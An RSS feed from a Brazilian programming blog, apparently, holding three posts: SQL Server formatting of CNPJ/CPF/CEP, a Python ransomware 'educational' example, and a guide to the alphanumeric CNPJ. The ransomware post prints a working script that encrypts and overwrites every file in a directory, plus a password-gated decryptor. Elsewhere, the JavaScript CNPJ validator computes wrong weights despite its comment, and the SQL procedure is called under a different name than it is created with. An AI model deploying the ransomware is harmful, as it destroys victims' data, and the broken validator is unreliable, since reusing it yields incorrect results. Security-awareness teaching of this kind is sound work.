<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Back-end &#8211; Manual do Programador</title>
	<atom:link href="https://www.manualdoprogramador.com/category/programacao/back-end/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.manualdoprogramador.com</link>
	<description>Explore o Manual do Programador e encontre artigos detalhados e atualizados sobre linguagens de programação, frameworks, desenvolvimento web, mobile, inteligência artificial e muito mais. Nosso objetivo é fornecer um conteúdo de qualidade e prático para desenvolvedores de todos os níveis - desde iniciantes até profissionais experientes. Descubra dicas para melhorar a eficiência do seu código, tutoriais passo a passo para projetos práticos, novidades do mundo da programação e resenhas de ferramentas úteis</description>
	<lastBuildDate>Sun, 03 Aug 2025 17:58:38 +0000</lastBuildDate>
	<language>pt-BR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1</generator>

<image>
	<url>https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2023/06/Logo-redonda-1-1.png?fit=32%2C32&#038;ssl=1</url>
	<title>Back-end &#8211; Manual do Programador</title>
	<link>https://www.manualdoprogramador.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">220693552</site>	<item>
		<title>Como formatar CNPJ, CPF e CEP com SQL Server</title>
		<link>https://www.manualdoprogramador.com/como-formatar-cnpj-cpf-e-cep-com-sql-server/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=como-formatar-cnpj-cpf-e-cep-com-sql-server</link>
					<comments>https://www.manualdoprogramador.com/como-formatar-cnpj-cpf-e-cep-com-sql-server/#respond</comments>
		
		<dc:creator><![CDATA[Silvio Cesar Junior]]></dc:creator>
		<pubDate>Sun, 03 Aug 2025 17:33:28 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1241</guid>

					<description><![CDATA[Você já se deparou com dados &#8220;crus&#8221; no banco, como um CNPJ sem pontos ou traços, e precisou formatá-los manualmente [&#8230;]]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img data-recalc-dims="1" fetchpriority="high" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/08/ChatGPT-Image-3-de-ago.-de-2025-14_30_40.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1242"/></figure>



<p class="wp-block-paragraph">Você já se deparou com dados &#8220;crus&#8221; no banco, como um CNPJ sem pontos ou traços, e precisou formatá-los manualmente no sistema? Ou talvez tenha precisado tratar essa visualização direto em um <code>SELECT</code> ou <code>PROCEDURE</code> para exibir os dados já formatados para o cliente? <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f62c.png" alt="😬" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph">Hoje vou te mostrar como formatar <strong>CNPJ</strong>, <strong>CPF</strong> e <strong>CEP</strong> diretamente no <strong>SQL Server</strong>, utilizando funções nativas como <code>SUBSTRING</code>, <code>LEFT</code>, <code>RIGHT</code> e <code>STUFF</code>. O processo é simples, limpo e extremamente útil — principalmente em procedures que geram relatórios, exibem dados em tela ou enviam mensagens automatizadas. Essa abordagem evita o retrabalho de formatar os dados no backend, o que pode gerar processamento desnecessário e quebrar a responsabilidade das camadas do sistema.</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Por que formatar direto no SQL?</h2>



<p class="wp-block-paragraph">É comum e até recomendado que os dados armazenados no banco venham <strong>sem formatação</strong>, contendo apenas os números. Isso facilita operações, buscas e integrações. Mas, quando precisamos exibir os dados de forma legível — como em logs, templates ou mensagens automáticas — ter a formatação no SQL pode ser muito útil.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Formatando CNPJ:  <code>12.345.678/0001-95</code></h3>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">SELECT 
    -- Adiciona o primeiro ponto após os 2 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 5 primeiros dígitos (já contando o ponto anterior)
        STUFF(
            -- Adiciona a barra após os 8 primeiros dígitos (contando os dois pontos anteriores)
            STUFF(
                -- Adiciona o traço após os 12 primeiros dígitos (contando os separadores)
                STUFF(&#039;12345678000195&#039;, 3, 0, &#039;.&#039;),  -- Resultado: 12.345678000195
            7, 0, &#039;.&#039;),                             -- Resultado: 12.345.678000195
        11, 0, &#039;/&#039;),                                -- Resultado: 12.345.678/000195
    16, 0, &#039;-&#039;) AS CNPJ_Formatado                  -- Resultado final: 12.345.678/0001-95</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Formatando CPF:  <code>&lt;em&gt;123.456.789-01&lt;/em&gt;</code></h3>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">SELECT 
    -- Adiciona o primeiro ponto após os 3 primeiros dígitos
    STUFF(
        -- Adiciona o segundo ponto após os 6 primeiros dígitos (já contando o primeiro ponto)
        STUFF(
            -- Adiciona o traço após os 9 primeiros dígitos (já contando os pontos)
            STUFF(&#039;12345678901&#039;, 4, 0, &#039;.&#039;),     -- Resultado: 123.45678901
        8, 0, &#039;.&#039;),                              -- Resultado: 123.456.78901
    12, 0, &#039;-&#039;) AS CPF_Formatado                 -- Resultado final: 123.456.789-01</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Formatando CEP: <code>12345-678</code></h3>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">SELECT 
    -- Adiciona o traço após os 5 primeiros dígitos
    STUFF(&#039;12345678&#039;, 6, 0, &#039;-&#039;) AS CEP_Formatado
    -- Resultado final: 12345-678</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Dica: Centralize a lógica em uma Procedure</h3>



<p class="wp-block-paragraph">Centralizar a formatação em uma procedure ajuda a organizar o código, evitar repetição e facilita a manutenção. Sempre que precisar dessas formatações, basta chamar a procedure.</p>



<pre class="wp-block-prismatic-blocks"><code class="language-sql">CREATE PROCEDURE dbo.SP_EXIBE_CLIENTE
    @CNPJ VARCHAR(14),
    @CPF  VARCHAR(11),
    @CEP  VARCHAR(8)
AS
BEGIN
    SET NOCOUNT ON;

    CREATE TABLE #CNPJ_Formatado (CNPJ VARCHAR(18));
    INSERT INTO #CNPJ_Formatado (CNPJ)
    SELECT STUFF(STUFF(STUFF(STUFF(@CNPJ, 3, 0, &#039;.&#039;), 7, 0, &#039;.&#039;), 11, 0, &#039;/&#039;), 16, 0, &#039;-&#039;);

    CREATE TABLE #CPF_Formatado (CPF VARCHAR(14));
    INSERT INTO #CPF_Formatado (CPF)
    SELECT STUFF(STUFF(STUFF(@CPF, 4, 0, &#039;.&#039;), 8, 0, &#039;.&#039;), 12, 0, &#039;-&#039;);

    CREATE TABLE #CEP_Formatado (CEP VARCHAR(9));
    INSERT INTO #CEP_Formatado (CEP)
    SELECT STUFF(@CEP, 6, 0, &#039;-&#039;);

    SELECT
        C.CNPJ,
        P.CPF,
        E.CEP
    FROM #CNPJ_Formatado C
    CROSS JOIN #CPF_Formatado P
    CROSS JOIN #CEP_Formatado E;

    DROP TABLE #CNPJ_Formatado;
    DROP TABLE #CPF_Formatado;
    DROP TABLE #CEP_Formatado;
END</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Como usar a Procedure:</h4>



<pre class="wp-block-prismatic-blocks"><code class="language-">EXEC dbo.sp_Formatar_Documentos
    @CNPJ = &#039;12345678000195&#039;,
    @CPF = &#039;12345678901&#039;,
    @CEP = &#039;12345678&#039;</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9fe.png" alt="🧾" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Resultado esperado:</h4>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>CNPJ</th><th>CPF</th><th>CEP</th></tr></thead><tbody><tr><td>12.345.678/0001-95</td><td>123.456.789-01</td><td>12345-678</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Atenção!</h3>



<p class="wp-block-paragraph">Essas formatações <strong>presumem que os dados estão completos e sem formatação</strong>. Caso os campos venham com caracteres inválidos ou estejam incompletos, é importante validar previamente usando <code>LEN</code>, <code>ISNUMERIC</code>, ou <code>TRY_CAST</code>/<code>TRY_CONVERT</code> (se estiver usando SQL Server 2012+).</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Conclusão</h3>



<p class="wp-block-paragraph">Saber formatar diretamente no SQL Server pode acelerar tarefas de testes, visualização de dados, geração de relatórios e mensagens automáticas. Se quiser ir além, você pode transformar essas lógicas em funções reutilizáveis para aplicar sempre que necessário.</p>



<p class="wp-block-paragraph">Curtiu a dica? Já precisou fazer esse tipo de formatação no SQL alguma vez? Comenta aí como você resolveu — ou que tipo de gambiarra já fez com CNPJ e CPF! <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f604.png" alt="😄" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/como-formatar-cnpj-cpf-e-cep-com-sql-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1241</post-id>	</item>
		<item>
		<title>Alerta! Veja Como um Ransomware Real Funciona com Python</title>
		<link>https://www.manualdoprogramador.com/alerta-veja-como-um-ransomware-real-funciona-com-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=alerta-veja-como-um-ransomware-real-funciona-com-python</link>
					<comments>https://www.manualdoprogramador.com/alerta-veja-como-um-ransomware-real-funciona-com-python/#comments</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Thu, 31 Jul 2025 21:00:00 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Carreira]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[cibersegurança]]></category>
		<category><![CDATA[criptografar arquivos]]></category>
		<category><![CDATA[criptografia]]></category>
		<category><![CDATA[educação em segurança]]></category>
		<category><![CDATA[engenharia reversa]]></category>
		<category><![CDATA[exemplo em python]]></category>
		<category><![CDATA[fernet]]></category>
		<category><![CDATA[hacking ético]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[proteção de dados]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[ransomware]]></category>
		<category><![CDATA[segurança da informação]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1233</guid>

					<description><![CDATA[Introdução Você já ouviu falar em ransomware? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos [&#8230;]]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/07/ChatGPT-Image-31-de-jul.-de-2025-14_09_21.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1235" style="width:328px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>Introdução</strong></h3>



<p class="wp-block-paragraph">Você já ouviu falar em <em>ransomware</em>? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos dos últimos tempos. No post de hoje, vamos entender como ele funciona por trás dos panos — com um exemplo simples em Python — e como você pode se proteger.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">O que é um Ransomware?</h3>



<p class="wp-block-paragraph">Um <em>ransomware</em> é um tipo de malware que <strong>sequestra os dados da vítima</strong> por meio de <strong>criptografia</strong>. O atacante exige um resgate (geralmente em criptomoeda) para devolver o acesso aos arquivos. Em muitos casos, mesmo pagando, a vítima <strong>não recebe a chave de descriptografia</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Como funciona tecnicamente?</h3>



<ol class="wp-block-list">
<li>O atacante cria um programa que:
<ul class="wp-block-list">
<li>Vasculha o diretório à procura de arquivos.</li>



<li>Criptografa os arquivos com uma chave gerada na hora.</li>



<li>Salva a chave num local escondido ou remoto.</li>



<li>Exclui os arquivos originais e deixa uma mensagem de resgate.</li>
</ul>
</li>



<li>A vítima, ao executar o programa, tem todos os seus arquivos tornados ilegíveis. Só com a chave correta será possível recuperá-los.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Exemplo em Python</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Atenção:</strong> Este exemplo é apenas educativo! <strong>Não use esse código para fins maliciosos.</strong></p>
</blockquote>



<h4 class="wp-block-heading"><code>malware.py</code> – Criptografando os arquivos</h4>



<pre class="wp-block-preformatted">#!/usr/bin/env python3<br>import os<br>from cryptography.fernet import Fernet<br><br>files = []<br>for file in os.listdir():<br>    if file in ("malware.py", "thekey.key", "decrypt.py"):<br>        continue<br>    if os.path.isfile(file):<br>        files.append(file)<br><br>print("Encrypted files:", files)<br><br>key = Fernet.generate_key()<br>with open("thekey.key", "wb") as thekey:<br>    thekey.write(key)<br><br>for file in files:<br>    with open(file, "rb") as thefile:<br>        content = thefile.read()<br>    content_encrypted = Fernet(key).encrypt(content)<br>    with open(file, "wb") as thefile:<br>        thefile.write(content_encrypted)<br><br>print("All your files have been encrypted!")</pre>



<h4 class="wp-block-heading">O que esse código faz?</h4>



<ul class="wp-block-list">
<li>Gera uma chave de criptografia com <code>Fernet</code>.</li>



<li>Ignora arquivos importantes do próprio script.</li>



<li>Criptografa todos os arquivos do diretório atual e sobrescreve os originais.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Como descriptografar os arquivos?</h3>



<h4 class="wp-block-heading"><code>decrypt.py</code> – Descriptografando</h4>



<pre class="wp-block-preformatted">import os<br>from cryptography.fernet import Fernet<br><br>files = []<br>for file in os.listdir():<br>    if file in ("malware.py", "thekey.key", "decrypt.py"):<br>        continue<br>    if os.path.isfile(file):<br>        files.append(file)<br><br>with open("thekey.key", "rb") as key_file:<br>    secretkey = key_file.read()<br><br>passphrase = "M4nu4ld0Pr0gr4m4d0r"  # senha definida pelo "atacante"<br>user_input = input("Enter the password to decrypt your files: ")<br><br>if user_input == passphrase:<br>    for file in files:<br>        with open(file, "rb") as thefile:<br>            content = thefile.read()<br>        decrypted = Fernet(secretkey).decrypt(content)<br>        with open(file, "wb") as thefile:<br>            thefile.write(decrypted)<br>    print("Files successfully decrypted.")<br>else:<br>    print("Wrong password. Access denied.")</pre>



<h3 class="wp-block-heading">O que você aprendeu aqui?</h3>



<ul class="wp-block-list">
<li>Como funciona a criptografia de arquivos com <code>Fernet</code>.</li>



<li>Como é simples automatizar isso em um script.</li>



<li>Que a segurança digital <strong>é responsabilidade de todos nós.</strong></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Alerta: uso ético e legal</h3>



<p class="wp-block-paragraph">Esse exemplo foi apresentado <strong>somente para fins educacionais</strong>, com o objetivo de <strong>conscientizar</strong> sobre a importância da cibersegurança. Utilizar esse tipo de script para prejudicar outras pessoas é <strong>crime previsto em lei</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Como se proteger?</h3>



<ul class="wp-block-list">
<li>Nunca execute arquivos desconhecidos.</li>



<li>Faça backup regular dos seus dados.</li>



<li>Mantenha o sistema e antivírus sempre atualizados.</li>
</ul>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/alerta-veja-como-um-ransomware-real-funciona-com-python/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1233</post-id>	</item>
		<item>
		<title>CNPJ Alfanumérico Desafios e Impactos nos Sistemas Atuais</title>
		<link>https://www.manualdoprogramador.com/cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais</link>
					<comments>https://www.manualdoprogramador.com/cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais/#respond</comments>
		
		<dc:creator><![CDATA[Silvio Cesar Junior]]></dc:creator>
		<pubDate>Sun, 13 Jul 2025 20:58:31 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Front-end]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Programação]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1213</guid>

					<description><![CDATA[Em julho de 2026, a Receita Federal passa a emitir CNPJs com 12 caracteres alfanuméricos seguidos de dois dígitos verificadores [&#8230;]]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img data-recalc-dims="1" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2025/07/ChatGPT-Image-13-de-jul.-de-2025-18_13_51.png?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1216"/></figure>



<p class="wp-block-paragraph">Em julho de 2026, a Receita Federal passa a emitir CNPJs com 12 caracteres alfanuméricos seguidos de dois dígitos verificadores numéricos. A mudança visa acomodar o contínuo crescimento do número de empresas no Brasil e evitar o esgotamento da numeração disponível. Porém, essa novidade trará uma série de desafios técnicos e exigirá adaptações em diversos pontos dos sistemas corporativos. Neste artigo, vamos explorar os principais impactos e sugerir estratégias para uma transição suave.</p>



<h3 class="wp-block-heading">1. Nova Regra de Cálculo dos Dígitos Verificadores</h3>



<p class="wp-block-paragraph">Até então, os doze primeiros dígitos do CNPJ eram exclusivamente numéricos, e os dois últimos resultavam de um cálculo baseado em módulo 11 e pesos de 2 a 9. Com a inclusão de letras, será necessário atribuir valores numéricos a cada caractere alfabético (A=17, B=18, …, Z=42) antes de aplicar o algoritmo tradicional de dígitos verificadores.</p>



<p class="wp-block-paragraph"><strong>Fluxo de cálculo resumido</strong>:</p>



<ol class="wp-block-list">
<li><strong>Mapeamento</strong>: converta cada caractere alfanumérico no seu valor segundo tabela (por exemplo, A→17, B→18, …) .</li>



<li><strong>Aplicação de pesos</strong>: aplique pesos de 2 a 9 da direita para a esquerda, reiniciando após o peso</li>



<li><strong>Somatório e módulo</strong>: calcule o somatório dos produtos valor×peso e obtenha o resto da divisão por 11.</li>



<li><strong>Definição do dígito</strong>: se o resto for 0 ou 1, o dígito é 0; caso contrário, é 11 menos o resto.</li>



<li><strong>Repetição</strong>: para o segundo dígito, inclua o primeiro DV ao final e repita o processo.</li>
</ol>



<h3 class="wp-block-heading">1.1 Primeiro Dígito Verificador</h3>



<p class="wp-block-paragraph">Para validar o CNPJ alfanumérico <strong><code>Y6.K55.XEN/0001-99</code></strong>, extraímos primeiro os 12 caracteres e depois calculamos os dois dígitos verificadores.</p>



<h4 class="wp-block-heading">1.1.1 Primeiro Dígito Verificador</h4>



<ul class="wp-block-list">
<li><strong>Base (12 chars):</strong> <code>Y 6 K 5 5 X E N 0 0 0 1</code></li>



<li><strong>Valor (ASCII–48):</strong>
<ul class="wp-block-list">
<li>Y → 41</li>



<li>6 → 6</li>



<li>K → 27</li>



<li>5 → 5</li>



<li>5 → 5</li>



<li>X → 40</li>



<li>E → 21</li>



<li>N → 30</li>



<li>0 → 0</li>



<li>0 → 0</li>



<li>0 → 0</li>



<li>1 → 1</li>
</ul>
</li>



<li><strong>Pesos:</strong> 5,&nbsp;4,&nbsp;3,&nbsp;2,&nbsp;9,&nbsp;8,&nbsp;7,&nbsp;6,&nbsp;5,&nbsp;4,&nbsp;3,&nbsp;2</li>
</ul>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Posição</th><th>1</th><th>2</th><th>3</th><th>4</th><th>5</th><th>6</th><th>7</th><th>8</th><th>9</th><th>10</th><th>11</th><th>12</th></tr></thead><tbody><tr><td>Caract.</td><td>Y</td><td>6</td><td>K</td><td>5</td><td>5</td><td>X</td><td>E</td><td>N</td><td>0</td><td>0</td><td>0</td><td>1</td></tr><tr><td>Valor</td><td>41</td><td>6</td><td>27</td><td>5</td><td>5</td><td>40</td><td>21</td><td>30</td><td>0</td><td>0</td><td>0</td><td>1</td></tr><tr><td>Peso</td><td>5</td><td>4</td><td>3</td><td>2</td><td>9</td><td>8</td><td>7</td><td>6</td><td>5</td><td>4</td><td>3</td><td>2</td></tr></tbody></table></figure>



<ol class="wp-block-list">
<li>Soma dos produtos</li>
</ol>



<pre class="wp-block-code"><code>41×5 + 6×4 + 27×3 + 5×2 + 5×9 + 40×8 + 21×7 + 30×6 + 0 + 0 + 0 + 1×2 = 1 014</code></pre>



<ol start="2" class="wp-block-list">
<li>Resto da divisão por 11</li>
</ol>



<pre class="wp-block-code"><code>1 014 mod 11 = 2</code></pre>



<ol start="3" class="wp-block-list">
<li>Cálculo do primeiro dígito (DV₁)
<ul class="wp-block-list">
<li>Resto ≥ 2 → 11&nbsp;–&nbsp;2 = <strong>9</strong></li>
</ul>
</li>
</ol>



<h4 class="wp-block-heading">1.1.2 Segundo Dígito Verificador</h4>



<pre class="wp-block-code"><code>Y 6 K 5 5 X E N 0 0 0 1 9</code></pre>



<ul class="wp-block-list">
<li><strong>Valores:</strong> mesmos 12 anteriores + 9</li>



<li><strong>Pesos:</strong> 6,&nbsp;5,&nbsp;4,&nbsp;3,&nbsp;2,&nbsp;9,&nbsp;8,&nbsp;7,&nbsp;6,&nbsp;5,&nbsp;4,&nbsp;3,&nbsp;2</li>
</ul>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Posição</th><th>1</th><th>2</th><th>3</th><th>4</th><th>5</th><th>6</th><th>7</th><th>8</th><th>9</th><th>10</th><th>11</th><th>12</th><th>13</th></tr></thead><tbody><tr><td>Caract.</td><td>Y</td><td>6</td><td>K</td><td>5</td><td>5</td><td>X</td><td>E</td><td>N</td><td>0</td><td>0</td><td>0</td><td>1</td><td>9</td></tr><tr><td>Valor</td><td>41</td><td>6</td><td>27</td><td>5</td><td>5</td><td>40</td><td>21</td><td>30</td><td>0</td><td>0</td><td>0</td><td>1</td><td>9</td></tr><tr><td>Peso</td><td>6</td><td>5</td><td>4</td><td>3</td><td>2</td><td>9</td><td>8</td><td>7</td><td>6</td><td>5</td><td>4</td><td>3</td><td>2</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Soma dos produtos</strong></p>



<pre class="wp-block-code"><code>41×6 + 6×5 + 27×4 + 5×3 + 5×2 + 40×9 + 21×8 + 30×7 + 0 + 0 + 0 + 1×3 + 9×2 = 1 168</code></pre>



<p class="wp-block-paragraph">Resto da divisão por 11</p>



<pre class="wp-block-code"><code>1 168 mod 11 = 2</code></pre>



<p class="wp-block-paragraph">Cálculo do segundo dígito (DV₂)</p>



<p class="wp-block-paragraph">Resto ≥ 2 → 11&nbsp;–&nbsp;2 = <strong>9</strong></p>



<p class="wp-block-paragraph">Portanto, os dígitos verificadores são <strong>9</strong> e <strong>9</strong>, conferindo com o CNPJ completo:</p>



<pre class="wp-block-code"><code>Y6.K55.XEN/0001-99</code></pre>



<h3 class="wp-block-heading">1.2 Algoritmo JS para validar se um CNPJ é valido</h3>



<p class="wp-block-paragraph">Será necessário alterar no front-end do sistema, lugares onde tem validação de CNPJ valído, para isso, segue um algoritmo atualizado para fazer essa validação nos inputs informados do sistema:</p>



<pre class="wp-block-code"><code>/**
 * Valida CNPJ alfanumérico (12 caracteres + 2 dígitos)
 * @param {string} input CNPJ formatado ou não (aceita letras e números)
 * @returns {boolean} true se válido, false caso contrário
 */
function validaCnpjAlpha(input) {
  // Remove tudo que não for letra ou dígito
  const cnpj = input.replace(/&#091;^0-9A-Za-z]/g, &#039;&#039;).toUpperCase();
  if (!/^&#091;0-9A-Z]{14}$/.test(cnpj)) return false;

  // Converte caractere para valor: código ASCII - 48
  const toValue = ch =&gt; ch.charCodeAt(0) - 48;

  // Função que calcula um DV (1 ou 2)
  function calcDv(len) {
    let peso = len + 1; // para len=12, peso inicial é 5; para len=13, peso=6
    const soma = cnpj
      .slice(0, len)
      .split(&#039;&#039;)
      .map(toValue)
      .reduce((acc, val) =&gt; {
        acc += val * peso;
        peso = peso &gt; 2 ? peso - 1 : 9;
        return acc;
      }, 0);
    const resto = soma % 11;
    return resto &lt; 2 ? 0 : 11 - resto;
  }

  // Calcula os dois dígitos verificadores
  const dv1 = calcDv(12);
  const dv2 = calcDv(13);

  // Compara com os dois últimos dígitos do input
  return dv1 === toValue(cnpj&#091;12]) &amp;&amp; dv2 === toValue(cnpj&#091;13]);
}

// Exemplo de uso:
console.log(validaCnpjAlpha(&#039;12.ABC.345/01DE-35&#039;)); // true ou false</code></pre>



<h3 class="wp-block-heading">2. Mudança nas mascaras de input</h3>



<p class="wp-block-paragraph">Com a entrada de letras, as máscaras de campos de CNPJ em formulários e aplicativos precisam ser revisadas:</p>



<ul class="wp-block-list">
<li><strong>Bibliotecas JavaScript/Vue/Angular</strong>: atualize plugins como <em>mask.js</em> para aceitar <code>[0-9A-Za-z]</code> em todas as posições – não apenas dígitos.</li>



<li><strong>React (IMask)</strong>: configure o <em>pattern</em> para alfanumérico e garanta a conversão automática para maiúsculas, evitando inconsistências de case.</li>



<li><strong>UX/UI</strong>: ofereça feedback claro ao usuário sobre o formato (ex.: <code>XX.XXX.XXX/YYYY-00</code>). Considere usar placeholders dinâmicos que exibam letras e números.</li>
</ul>



<p class="wp-block-paragraph">Essas mudanças exigem testes end‑to‑end (Selenium, Cypress) para garantir que fluxos de cadastro e edição continuem funcionando sem erros.</p>



<h3 class="wp-block-heading">3. Banco de Dados com VARCHAR</h3>



<p class="wp-block-paragraph">Sistemas que atualmente definem o campo de CNPJ como <code>INT</code> ou <code>BIGINT</code> devem migrar para tipos de texto:</p>



<ul class="wp-block-list">
<li><strong>VARCHAR(14)</strong> ou <strong>CHAR(14)</strong> (12 alfanuméricos + 2 numéricos): garante espaço exato e evita desperdício.</li>



<li><strong>Índices</strong>: recrie índices baseados em strings e avalie o desempenho em consultas que utilizam <code>LIKE</code>, <code>=</code>, ou ordenação. Em bancos muito volumosos, pode ser necessário particionamento ou índices parciais.</li>
</ul>



<p class="wp-block-paragraph">Planeje a migração de dados com scripts SQL que convertam registros antigos para o novo padrão, incluindo rotinas de validação de integridade.</p>



<h3 class="wp-block-heading">4. Regex e Validações em Código</h3>



<p class="wp-block-paragraph">Muitos sistemas usam expressões regulares para extrair ou validar CNPJ em strings (logs, relatórios, integrações). Atualize-as para algo que vai validar se oque foi digitado é um CNPJ valído com:</p>



<pre class="wp-block-code"><code>/^&#091;A-Za-z0-9]{2}\.&#091;A-Za-z0-9]{3}\.&#091;A-Za-z0-9]{3}\/&#091;A-Za-z0-9]{4}-\d{2}$/</code></pre>



<p class="wp-block-paragraph">Localize todos os artefatos de regex (busca em repositórios, IDEs) e adeque-os para evitar falhas silenciosas em processos automáticos.</p>



<h2 class="wp-block-heading">Conclusão e Boas Práticas</h2>



<p class="wp-block-paragraph">A adoção do CNPJ alfanumérico é inevitável diante do crescimento das empresas no país. Para mitigar riscos:</p>



<ol class="wp-block-list">
<li><strong>Planeje versões</strong>: use feature flags para alternar validações.</li>



<li><strong>Crie ambientes de homologação</strong>: inclua casos de teste com letras em processos críticos.</li>



<li><strong>Documente mudanças</strong>: atualize guias de estilo e manuais de API.</li>



<li><strong>Automatize migrações</strong>: scripts SQL e pipelines de dados devem rodar sem intervenção manual.</li>



<li><strong>Comunique stakeholders</strong>: informe times de desenvolvimento, QA, operação e parceiros externos.</li>
</ol>



<p class="wp-block-paragraph">Com esses cuidados, seu sistema estará preparado para lidar com o novo padrão de CNPJ, garantindo integridade, performance e compatibilidade.</p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/cnpj-alfanumerico-desafios-e-impactos-nos-sistemas-atuais/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1213</post-id>	</item>
		<item>
		<title>Como criar um bot no Telegram e integrar com linguagens de programação</title>
